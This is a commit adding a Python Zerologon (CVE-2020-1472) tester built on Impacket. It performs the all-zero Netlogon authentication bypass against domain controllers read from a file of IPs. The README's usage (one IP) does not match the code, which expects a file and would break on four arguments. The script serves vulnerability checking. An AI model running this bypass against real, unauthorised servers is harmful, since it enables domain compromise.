Add files via upload
This commit is contained in:
commit
c8a3da72d3
|
@ -0,0 +1,21 @@
|
|||
MIT License
|
||||
|
||||
Copyright (c) 2020 SecuraBV
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
|
@ -0,0 +1,29 @@
|
|||
# ZeroLogon testing script
|
||||
|
||||
A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit (CVE-2020-1472).
|
||||
|
||||
It attempts to perform the Netlogon authentication bypass. The script will immediately terminate when succesfully
|
||||
performing the bypass, and not perform any Netlogon operations. When a domain controller is patched, the detection
|
||||
script will give up after sending 2000 pairs of RPC calls and conclude the target is not vulnerable (with a
|
||||
false negative chance of 0.04%).
|
||||
|
||||
## Installation
|
||||
|
||||
Requires Python 3.7 or higher and Pip. Install dependencies as follows:
|
||||
|
||||
pip install -r requirements.txt
|
||||
|
||||
Note that running `pip install impacket` should work as well, as long as the script is not broken by future Impacket
|
||||
versions.
|
||||
|
||||
## Running the script
|
||||
|
||||
The script targets can be used to target a DC or backup DC. It likely also works against a read-only DC, but this has
|
||||
not been tested. Given a domain controller named `EXAMPLE-DC` with IP address `1.2.3.4`, run the script as follows:
|
||||
|
||||
./zerologon_tester.py EXAMPLE-DC 1.2.3.4
|
||||
|
||||
The DC name should be its NetBIOS computer name. If this name is not correct, the script will likely fail with a
|
||||
`STATUS_INVALID_COMPUTER_NAME` error.
|
||||
|
||||
A Whitepaper on this vulnerability will be published here: https://www.secura.com/blog/zero-logon on Monday 14 sept.
|
|
@ -0,0 +1,18 @@
|
|||
cffi==1.14.2
|
||||
click==7.1.2
|
||||
cryptography==3.1
|
||||
dnspython==2.0.0
|
||||
Flask==1.1.2
|
||||
future==0.18.2
|
||||
impacket==0.9.21
|
||||
itsdangerous==1.1.0
|
||||
Jinja2==2.11.2
|
||||
ldap3==2.8
|
||||
ldapdomaindump==0.9.3
|
||||
MarkupSafe==1.1.1
|
||||
pyasn1==0.4.8
|
||||
pycparser==2.20
|
||||
pycryptodomex==3.9.8
|
||||
pyOpenSSL==19.1.0
|
||||
six==1.15.0
|
||||
Werkzeug==1.0.1
|
|
@ -0,0 +1,91 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket import crypto
|
||||
|
||||
import hmac, hashlib, struct, sys, socket, time
|
||||
from binascii import hexlify, unhexlify
|
||||
from subprocess import check_call
|
||||
|
||||
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
|
||||
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
|
||||
|
||||
def fail(msg):
|
||||
print(msg, file=sys.stderr)
|
||||
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
|
||||
sys.exit(2)
|
||||
|
||||
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
target_computer + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
|
||||
if ex.get_error_code() == 0xc0000022:
|
||||
return None
|
||||
else:
|
||||
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
|
||||
except BaseException as ex:
|
||||
fail(f'Unexpected error: {ex}.')
|
||||
|
||||
|
||||
def perform_attack(dc_handle, dc_ip, target_computer):
|
||||
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
|
||||
print('Performing authentication attempts...')
|
||||
rpc_con = None
|
||||
for attempt in range(0, MAX_ATTEMPTS):
|
||||
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
|
||||
|
||||
if rpc_con == None:
|
||||
print('=', end='', flush=True)
|
||||
else:
|
||||
break
|
||||
|
||||
if rpc_con:
|
||||
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
|
||||
else:
|
||||
print('\nAttack failed. Target is probably patched.')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if not (3 <= len(sys.argv) <= 4):
|
||||
print('Usage: zerologon_tester.py <dc-name> <file with list of IPs>\n')
|
||||
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
|
||||
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
|
||||
sys.exit(1)
|
||||
else:
|
||||
[_, dc_name, IPlist] = sys.argv
|
||||
dc_name = dc_name.rstrip('$')
|
||||
|
||||
with open(IPlist) as f:
|
||||
IPfile = f.read().splitlines()
|
||||
for dc_ip in IPfile:
|
||||
print('\nAttacking ' + dc_name + ' ' + dc_ip)
|
||||
perform_attack('\\\\' + dc_name, dc_ip, dc_name)
|
||||
|
Loading…
Reference in New Issue